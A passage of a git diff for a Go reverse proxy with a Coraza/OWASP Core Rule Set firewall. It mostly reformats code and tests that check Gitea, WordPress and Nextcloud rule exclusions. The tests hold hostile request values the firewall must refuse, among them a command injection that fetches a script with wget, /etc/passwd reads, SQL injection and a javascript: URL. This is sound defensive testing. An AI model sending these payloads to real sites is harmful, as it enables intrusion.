env.size("SWRP_MAX_REQUEST_SIZE", "100M"), - MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"), - MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"), - MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"), + ListenAddr: env.address("SWRP_LISTEN_ADDR"), + UpstreamURL: env.appURL( + "SWRP_UPSTREAM_URL", + defaultUpstreamURL, + ), + TrustedProxies: env.netblocks( + "SWRP_TRUSTED_PROXIES", + privateRanges, + ), + WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"), + Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"), + DefaultDisposition: env.disposition( + "SWRP_DEFAULT_DISPOSITION", + "allow", + ), + MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"), + MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"), + MaxRequestTime: env.millisecondsOrOff( + "SWRP_MAX_REQUEST_TIME_MS", + "60000", + ), + MaxResponseTime: env.millisecondsOrOff( + "SWRP_MAX_RESPONSE_TIME_MS", + "1800000", + ), } if env.err != nil { @@ -166,7 +184,9 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration { // millisecondsOrOff reads a setting that is a whole number of milliseconds // above zero, or off, which is 0. -func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration { +func (e *environment) millisecondsOrOff( + name, defaultValue string, +) time.Duration { value := e.value(name, defaultValue) if value == off { return 0 diff --git a/internal/config/rproxy_test.go b/internal/config/rproxy_test.go index 719d187..9e7919d 100644 --- a/internal/config/rproxy_test.go +++ b/internal/config/rproxy_test.go @@ -50,18 +50,28 @@ func TestRProxyDefaults(t *testing.T) { if cfg.ListenAddr != rproxyDefaultAddr || cfg.UpstreamURL.String() != rproxyDefaultApp || cfg.WAFBackend.String() != backendURL { - t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend) + t.Errorf( + "addresses %q, %v, %v", + cfg.ListenAddr, + cfg.UpstreamURL, + cfg.WAFBackend, + ) } if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" { - t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition) + t.Errorf( + "timeout %v, default disposition %q", + cfg.Timeout, + cfg.DefaultDisposition, + ) } if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 { t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize) } - if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute { + if cfg.MaxRequestTime != time.Minute || + cfg.MaxResponseTime != 30*time.Minute { t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime) } @@ -100,9 +110,12 @@ func TestRProxySettingsAreRead(t *testing.T) { t.Errorf("addresses %+v", cfg) } - if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" || - cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 || - cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond { + if cfg.Timeout != 150*time.Millisecond || + cfg.DefaultDisposition != "deny" || + cfg.MaxRequestSize != 1024 || + cfg.MaxResponseSize != 0 || + cfg.MaxRequestTime != 0 || + cfg.MaxResponseTime != 250*time.Millisecond { t.Errorf("limits %+v", cfg) } } @@ -147,7 +160,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value}) + _, err := rproxyConfig( + map[string]string{wafBackend: backendURL, tc.name: tc.value}, + ) if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { t.Errorf("error %v, want one naming %s", err, tc.name) } @@ -158,7 +173,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) { func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { t.Parallel() - cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""}) + cfg, err := rproxyConfig( + map[string]string{wafBackend: backendURL, rproxyTrusted: ""}, + ) if err != nil { t.Fatalf("settings: %v", err) } @@ -172,7 +189,8 @@ func TestRProxyNeedsItsBackend(t *testing.T) { t.Parallel() _, err := rproxyConfig(nil) - if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") { + if err == nil || + !strings.HasPrefix(err.Error(), wafBackend+": is required") { t.Errorf("error %v, want one saying %s is required", err, wafBackend) } } @@ -188,7 +206,8 @@ func TestRProxyReadsNoFile(t *testing.T) { } _, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path}) - if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") { + if err == nil || + !strings.HasPrefix(err.Error(), wafBackend+": is required") { t.Errorf("error %v, want %s still required", err, wafBackend) } diff --git a/internal/coreruleset/coreruleset.go b/internal/coreruleset/coreruleset.go index 2d4c3fb..0b02bf3 100644 --- a/internal/coreruleset/coreruleset.go +++ b/internal/coreruleset/coreruleset.go @@ -292,9 +292,11 @@ var errSwwRuleID = errors.New("an id of sww's own rules") // directive that removes or changes rules as it loads, such as // SecRuleRemoveById. The Core Rule Set's rules load after the file, so // the directive finds none of them. -var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " + - "switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " + - "with a ctl exclusion") +var errChangesNoRule = errors.New( + "the Core Rule Set's rules load after the file; " + + "switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " + + "with a ctl exclusion", +) // directivesIn returns the directives in text as Coraza reads them: it // skips blank lines and comment lines, and joins a line ending in \ to @@ -338,18 +340,27 @@ func checkExclusions(exclusions string) error { } if first <= lastOwnRuleID && last >= firstOwnRuleID { - return fmt.Errorf("the exclusions file names %s: %w", match[0], - errSwwRuleID) + return fmt.Errorf( + "the exclusions file names %s: %w", + match[0], + errSwwRuleID, + ) } } // Coraza takes the directive's name up to the first space, without // regard to case. name, _, _ := strings.Cut(directive, " ") - if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") || + if lower := strings.ToLower(name); strings.HasPrefix( + lower, + "secruleremove", + ) || strings.HasPrefix(lower, "secruleupdate") { - return fmt.Errorf("%s in the exclusions file changes no rule: %w", name, - errChangesNoRule) + return fmt.Errorf( + "%s in the exclusions file changes no rule: %w", + name, + errChangesNoRule, + ) } } @@ -488,7 +499,10 @@ func (c *CoreRuleSet) Inspect( // readBody reads one byte past the limit, to tell which they are, gives // the Core Rule Set what it reads, and returns what it read and the error // that ended the reading early, if one did. -func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) { +func (c *CoreRuleSet) readBody( + tx types.Transaction, + body io.Reader, +) ([]byte, error) { if c.bodyLimit == 0 { return nil, nil } diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index dee8ab8..f805716 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -25,7 +25,14 @@ import ( // by default. // //nolint:gochecknoglobals // a constant cannot be a list -var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140} +var defaultDisabledRules = []int{ + 920340, + 920420, + 920440, + 920640, + 930130, + 930140, +} // loaded holds, for each set of settings the tests have asked for, the // function that loads the Core Rule Set with them once. @@ -39,7 +46,9 @@ var loaded = struct { // loaderFor returns the function that loads the Core Rule Set with params // once, making it the first time params are asked for. -func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) { +func loaderFor( + params coreruleset.Params, +) func() (*coreruleset.CoreRuleSet, error) { loaded.Lock() defer loaded.Unlock() @@ -58,7 +67,10 @@ func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, erro // shared returns the Core Rule Set with params, loaded once for every // test that asks for the same settings. -func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet { +func shared( + t *testing.T, + params coreruleset.Params, +) *coreruleset.CoreRuleSet { t.Helper() crs, err := loaderFor(params)() @@ -77,7 +89,10 @@ func sharedCoreRuleSet( ) *coreruleset.CoreRuleSet { t.Helper() - return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled}) + return shared( + t, + coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled}, + ) } // TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a @@ -99,14 +114,26 @@ func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) { for range rounds { for _, target := range targets { inspecting.Go(func() { - req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, - "http://git.example"+target, nil) - req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ - "Gecko/20100101 Firefox/131.0") + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + "http://git.example"+target, + nil, + ) + req.Header.Set( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ + "Gecko/20100101 Firefox/131.0", + ) req.Header.Set("Accept", "text/html") - result, _, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body) - if err != nil || !reflect.DeepEqual(result, coreruleset.Result{}) { + result, _, err := crs.Inspect( + req, + netip.MustParseAddr("203.0.113.9"), + req.Body, + ) + if err != nil || + !reflect.DeepEqual(result, coreruleset.Result{}) { t.Errorf("GET %s: %+v, %v", target, result, err) } }) @@ -131,7 +158,11 @@ func get(target string, headers ...string) request { // inspect returns what crs finds in r, sent to git.example by a browser, // whose Host, User-Agent and Accept r.headers may replace. -func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result { +func inspect( + t *testing.T, + crs *coreruleset.CoreRuleSet, + r request, +) coreruleset.Result { t.Helper() result, _ := inspectBody(t, crs, r, "") @@ -148,8 +179,11 @@ func inspectBody( req := httptest.NewRequestWithContext(t.Context(), r.method, "http://git.example"+r.target, strings.NewReader(body)) - req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ - "Gecko/20100101 Firefox/131.0") + req.Header.Set( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ + "Gecko/20100101 Firefox/131.0", + ) req.Header.Set("Accept", "text/html") if body != "" { @@ -169,7 +203,11 @@ func inspectBody( } } - result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body) + result, read, err := crs.Inspect( + req, + netip.MustParseAddr("203.0.113.9"), + req.Body, + ) if err != nil { t.Fatalf("read the body: %v", err) } @@ -179,12 +217,22 @@ func inspectBody( // wantResult checks what crs finds in r. func wantResult( - t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result, + t *testing.T, + crs *coreruleset.CoreRuleSet, + r request, + want coreruleset.Result, ) { t.Helper() if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) { - t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want) + t.Errorf( + "%s %s %q: %+v, want %+v", + r.method, + r.target, + r.headers, + got, + want, + ) } } @@ -226,10 +274,22 @@ func TestPutPatchAndDeleteAreAllowed(t *testing.T) { {http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil}, {http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil}, } { - wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100)) + wantChange( + t, + crs, + r, + request{http.MethodTrace, r.target, nil}, + matched(911100), + ) } - wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100)) + wantChange( + t, + crs, + get("/"), + request{"PROPFIND", "/", nil}, + matched(911100), + ) } func TestExpectAndContentEncodingAreAllowed(t *testing.T) { @@ -245,9 +305,16 @@ func TestExpectAndContentEncodingAreAllowed(t *testing.T) { crs := atDefaults(t) - wantResult(t, crs, - request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}}, - coreruleset.Result{}) + wantResult( + t, + crs, + request{ + http.MethodPost, + push, + []string{pushType, length, "Expect: 100-continue"}, + }, + coreruleset.Result{}, + ) wantResult(t, crs, request{http.MethodPost, fetch, []string{ fetchType, length, "Content-Encoding: gzip", @@ -265,9 +332,16 @@ func TestExpectAndContentEncodingAreAllowed(t *testing.T) { "X-Method-Override: DELETE", "X-Middleware-Subrequest: middleware", } { - wantResult(t, crs, - request{http.MethodPost, push, []string{pushType, length, header}}, - matched(920450)) + wantResult( + t, + crs, + request{ + http.MethodPost, + push, + []string{pushType, length, header}, + }, + matched(920450), + ) } } @@ -276,12 +350,19 @@ func TestTransferEncodingIsRead(t *testing.T) { // git sends a large push in chunks, with no Content-Length. Without // Transfer-Encoding, that would be a POST without a length (920180). - wantResult(t, atDefaults(t), - request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{ - "Content-Type: application/x-git-receive-pack-request", - "Transfer-Encoding: chunked", - }}, - coreruleset.Result{}) + wantResult( + t, + atDefaults(t), + request{ + http.MethodPost, + "/owner/repo.git/git-receive-pack", + []string{ + "Content-Type: application/x-git-receive-pack-request", + "Transfer-Encoding: chunked", + }, + }, + coreruleset.Result{}, + ) } func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) { @@ -293,8 +374,18 @@ func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) { // Coraza keeps 1000: an attack that is the 1000th is read, and one // after it is not, but the request is a match all the same. - wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100)) - wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300)) + wantResult( + t, + crs, + get("/?"+strings.Repeat("a=1&", 999)+attack), + matched(942100), + ) + wantResult( + t, + crs, + get("/?"+strings.Repeat("a=1&", 1000)+attack), + matched(900300), + ) // So it is with the fields of a form data or JSON body. crs = readingBodies(t) @@ -327,7 +418,9 @@ func TestRedirectURIMayNameALocalAddress(t *testing.T) { get(oauth+"next=http://localhost:52341/"), matched(934110)) } -func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) { +func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands( + t *testing.T, +) { t.Parallel() crs := atDefaults(t) @@ -353,8 +446,13 @@ func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testi // What only those rules refuse gets through there too, but path // traversal and SQL injection are still refused. - wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"), - matched(930120, 932160)) + wantChange( + t, + crs, + get("/?path=|cat%20/etc/passwd"), + get("/?q=|cat%20/etc/passwd"), + matched(930120, 932160), + ) wantResult(t, crs, get("/?path=../../etc/passwd"), coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20}) wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100)) @@ -365,7 +463,13 @@ func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) { crs := atDefaults(t) - wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120)) + wantChange( + t, + crs, + get("/?Path=.gitignore"), + get("/?q=.gitignore"), + matched(930120), + ) wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"), get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110)) } @@ -390,12 +494,21 @@ func TestFlashAndRedirectToCookiesAreNotRead(t *testing.T) { get("/", "Cookie: redirect="+redirectTo), matched(930120)) // Among other cookies, which are read. - wantChange(t, crs, - get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+ - "; i_like_gitea=abc"), - get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+ - "; i_like_gitea=abc"), - matched(930120)) + wantChange( + t, + crs, + get( + "/", + "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+ + "; i_like_gitea=abc", + ), + get( + "/", + "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+ + "; i_like_gitea=abc", + ), + matched(930120), + ) } func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) { @@ -410,19 +523,39 @@ func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) { crs := atDefaults(t) - wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search), - matched(932340)) + wantChange( + t, + crs, + get("/", "Referer: "+search), + get("/", "User-Agent: "+search), + matched(932340), + ) wantChange(t, crs, get("/", "Referer: "+runtimeJava), get("/", "X-Page: "+runtimeJava), matched(944110)) - wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD), - matched(944130)) + wantChange( + t, + crs, + get("/", "Referer: "+stringMD), + get("/", "X-Page: "+stringMD), + matched(944130), + ) // It is still checked for script and SQL injection. - wantResult(t, crs, - get("/", "Referer: https://git.example/?q="), - matched(941110, 941160)) - wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"), - matched(942100)) + wantResult( + t, + crs, + get( + "/", + "Referer: https://git.example/?q=", + ), + matched(941110, 941160), + ) + wantResult( + t, + crs, + get("/", "Referer: https://git.example/?q=1' OR '1'='1"), + matched(942100), + ) } func TestEmptyHeaderIsRead(t *testing.T) { @@ -452,7 +585,12 @@ func TestEachDisabledRuleIsSwitchedOff(t *testing.T) { wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8}) - wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{}) + wantResult( + t, + sharedCoreRuleSet(t, 1, 920350, 911100), + r, + coreruleset.Result{}, + ) } func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) { @@ -461,8 +599,13 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) { crs := atDefaults(t) reuse := "?mount=sha256:0000&from=owner/python3-app" - wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse), - matched(932260)) + wantChange( + t, + crs, + get("/v2/owner/app/blobs/uploads/"+reuse), + get("/upload/"+reuse), + matched(932260), + ) // A command after the image's name is still refused. wantResult(t, crs, @@ -505,7 +648,13 @@ func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) { t.Fatalf("load the exclusions: %v", err) } - wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500)) + wantChange( + t, + crs, + get("/files/notes.txt~"), + get("/notes.txt~"), + matched(920500), + ) } func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) { @@ -574,7 +723,12 @@ func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) { } { _, err := withExclusions(exclusionsFile(t, tc.text)) if err == nil || !strings.Contains(err.Error(), tc.want) { - t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want) + t.Errorf( + "%q gave the error %v, want one with %q", + tc.text, + err, + tc.want, + ) } } } @@ -660,7 +814,8 @@ var rarePasswords = []string{ func randomPasswords() []string { const count, seed = 2000, 276 - random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample + //nolint:gosec // a fixed sample + random := rand.New(rand.NewPCG(seed, seed)) passwords := make([]string, count, count+len(rarePasswords)) for i := range passwords { @@ -676,7 +831,12 @@ func randomPasswords() []string { // names as it names the same field sent in an array. Coraza checks each // value of a field on its own, and keeps every value of a JSON key sent more // than once. -func passwordBody(t *testing.T, r request, names []string, passwords ...string) string { +func passwordBody( + t *testing.T, + r request, + names []string, + passwords ...string, +) string { t.Helper() var fields []string @@ -726,16 +886,27 @@ func formBody(name string, values ...string) string { // setsOffARule reports whether body, form data sent to / as a browser // sends it, sets off a rule in crs. func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool { - req := httptest.NewRequestWithContext(context.Background(), http.MethodPost, - "http://git.example/", strings.NewReader(body)) + req := httptest.NewRequestWithContext( + context.Background(), + http.MethodPost, + "http://git.example/", + strings.NewReader(body), + ) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("Content-Length", strconv.Itoa(len(body))) - req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ - "Gecko/20100101 Firefox/131.0") + req.Header.Set( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ + "Gecko/20100101 Firefox/131.0", + ) req.Header.Set("Accept", "text/html") // The body is read from memory, which cannot fail. - result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body) + result, _, _ := crs.Inspect( + req, + netip.MustParseAddr("203.0.113.9"), + req.Body, + ) return len(result.RuleIDs) > 0 } @@ -766,12 +937,18 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) { inspecting.Go(func() { for first := worker * perBody; first < len(passwords); first += workers * perBody { last := min(first+perBody, len(passwords)) - if !setsOffARule(crs, formBody("password", passwords[first:last]...)) { + if !setsOffARule( + crs, + formBody("password", passwords[first:last]...), + ) { continue } for i := first; i < last; i++ { - misfires[i] = setsOffARule(crs, formBody("password", passwords[i])) + misfires[i] = setsOffARule( + crs, + formBody("password", passwords[i]), + ) } } }) @@ -804,7 +981,10 @@ func misfiringPasswords(t *testing.T) []string { for _, rare := range rarePasswords { if !slices.Contains(misfiring, rare) { - t.Fatalf("%q sets off no rule in a field no exclusion names", rare) + t.Fatalf( + "%q sets off no rule in a field no exclusion names", + rare, + ) } } @@ -875,8 +1055,14 @@ func wantPasswordAttacksRefused(t *testing.T, r request, name string) { for _, attack := range []string{scriptTag, "javascript:alert(1)"} { body := passwordBody(t, r, []string{name}, attack) if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold { - t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name, - attack, got) + t.Errorf( + "%s %s %s %q let through: %+v", + r.method, + r.target, + name, + attack, + got, + ) } } } @@ -900,7 +1086,11 @@ func wantPasswordFieldsPass(t *testing.T, fields []passwordFields) { t.Run(sent.target+" "+sent.contentType, func(t *testing.T) { t.Parallel() - r := request{http.MethodPost, sent.target, []string{sent.contentType}} + r := request{ + http.MethodPost, + sent.target, + []string{sent.contentType}, + } wantPasswordAttacksPass(t, r, sent.names...) @@ -920,10 +1110,18 @@ func TestGiteaPasswordsPass(t *testing.T) { {"/user/login", formData, []string{passwordKey}}, {"/user/sign_up", formData, []string{passwordKey, retypeKey}}, {"/user/link_account_signin", formData, []string{passwordKey}}, - {"/user/link_account_signup", formData, []string{passwordKey, retypeKey}}, + { + "/user/link_account_signup", + formData, + []string{passwordKey, retypeKey}, + }, {"/user/activate", formData, []string{passwordKey}}, {"/user/recover_account", formData, []string{passwordKey}}, - {"/user/settings/change_password", formData, []string{passwordKey, retypeKey}}, + { + "/user/settings/change_password", + formData, + []string{passwordKey, retypeKey}, + }, { "/user/settings/account", formData, []string{"old_password", passwordKey, retypeKey}, @@ -1005,11 +1203,20 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) { {"/ocs/v2.php/apps/spreed/api/v4/room", jsonBody, passwordKey}, {"/settings/profile", formData, "form_challenge[current_password]"}, } { - r := request{http.MethodPost, sent.target, []string{sent.contentType}} + r := request{ + http.MethodPost, + sent.target, + []string{sent.contentType}, + } body := passwordBody(t, r, []string{sent.name}, "' OR '1'='1") if got, _ := inspectBody(t, crs, r, body); got.Score < threshold { - t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got) + t.Errorf( + "POST %s %s let through: %+v", + sent.target, + sent.name, + got, + ) } } } @@ -1063,7 +1270,9 @@ func TestGiteaAttacksAreRefused(t *testing.T) { } } -func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(t *testing.T) { +func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough( + t *testing.T, +) { t.Parallel() crs := atDefaults(t) @@ -1220,10 +1429,23 @@ func TestWordPressAttacksAreRefused(t *testing.T) { posts := append(wordpressBodyFields(attack), wordpressBodyField{wpComment, formData, "url=" + attack}) for _, p := range posts { - got, _ := inspectBody(t, bodies, - request{http.MethodPost, p.target, []string{p.contentType}}, p.body) + got, _ := inspectBody( + t, + bodies, + request{ + http.MethodPost, + p.target, + []string{p.contentType}, + }, + p.body, + ) if got.Score < threshold { - t.Errorf("POST %s %q let through: %+v", p.target, p.body, got) + t.Errorf( + "POST %s %q let through: %+v", + p.target, + p.body, + got, + ) } } } @@ -1296,7 +1518,11 @@ func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) { "/wp/v2/template-parts/twentytwentyfive//header", } { for _, address := range wordpressRESTAddresses(route) { - r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}} + r := request{ + http.MethodPost, + address, + []string{jsonBody, wordpressOverride}, + } wantBody(t, crs, r, content, coreruleset.Result{}, content) } } @@ -1324,26 +1550,62 @@ func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) { crs := atDefaults(t) - wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"), - matched(932260)) - wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260)) - wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"), - matched(932250)) + wantChange( + t, + crs, + get("/?s=python3"), + get("/wp-admin/options.php?id=python3"), + matched(932260), + ) + wantChange( + t, + crs, + get("/?s=python3"), + get("/?q=python3"), + matched(932260), + ) + wantChange( + t, + crs, + get("/index.php?s=ls+-la"), + get("/index.php?q=ls+-la"), + matched(932250), + ) wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"), get("/wp-json/example/v1/things?search=powershell"), matched(932120)) - wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"), - get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120)) - wantChange(t, crs, + wantChange( + t, + crs, + get("/index.php?rest_route=/wp/v2/search&search=powershell"), + get( + "/index.php?rest_route=/example/v1/things&search=powershell", + ), + matched(932120), + ) + wantChange( + t, + crs, get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"), - get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120)) - wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"), - get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260)) + get( + "/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php", + ), + matched(930120), + ) + wantChange( + t, + crs, + get("/wp-admin/theme-editor.php?file=docker-compose.yml"), + get( + "/wp-admin/theme-editor.php?id=docker-compose.yml", + ), + matched(932260), + ) } // TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three // groups in wordpress.conf at one target of its group, against the same // values in a field no group names, then one field at each other target of -// the group, then the names in the first group that skip fewer rules. +// the group. func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) { t.Parallel() @@ -1370,22 +1632,33 @@ func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) { {"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil}, {"/?", []string{"s", "tag"}, nil}, } { - wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260)) + target := group.target + "id=" + pageAddress + wantResult(t, crs, get(target), matched(932235, 932260)) for _, field := range group.fields { - wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235)) + target := group.target + field + "=" + pageAddress + wantResult(t, crs, get(target), matched(932235)) } for _, field := range group.addressFields { - wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{}) + target := group.target + field + "=" + pageAddress + wantResult(t, crs, get(target), coreruleset.Result{}) } + allFields := slices.Concat(group.fields, group.addressFields) + for _, v := range wordpressWords() { value := url.QueryEscape(v.value) - wantResult(t, crs, get(group.target+"id="+value), matched(v.rule)) + wantResult( + t, + crs, + get(group.target+"id="+value), + matched(v.rule), + ) - for _, field := range slices.Concat(group.fields, group.addressFields) { - wantResult(t, crs, get(group.target+field+"="+value), coreruleset.Result{}) + for _, field := range allFields { + target := group.target + field + "=" + value + wantResult(t, crs, get(target), coreruleset.Result{}) } } } @@ -1404,8 +1677,16 @@ func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) { } { wantResult(t, crs, get(target), coreruleset.Result{}) } +} + +// TestWordPressSlugFieldsSkipTwoRules checks the names in the first group +// of TestWordPressGroupsSkipRulesOnTheirFields that skip fewer rules. The +// names WordPress writes as slugs skip only 932120 and 932260. +func TestWordPressSlugFieldsSkipTwoRules(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) - // The names WordPress writes as slugs skip only 932120 and 932260. for _, field := range []string{"p", "postId", "slug"} { for _, v := range wordpressWords() { want := coreruleset.Result{} @@ -1413,13 +1694,16 @@ func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) { want = matched(v.rule) } - target := "/wp-admin/options.php?" + field + "=" + url.QueryEscape(v.value) + value := url.QueryEscape(v.value) + target := "/wp-admin/options.php?" + field + "=" + value wantResult(t, crs, get(target), want) } } } -func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) { +func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames( + t *testing.T, +) { t.Parallel() const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh" @@ -1466,7 +1750,14 @@ func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T } comment := request{http.MethodPost, wpComment, []string{formData}} - wantBody(t, bodies, comment, "url="+command, matched(932235, 932260), "url="+command) + wantBody( + t, + bodies, + comment, + "url="+command, + matched(932235, 932260), + "url="+command, + ) } // TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule @@ 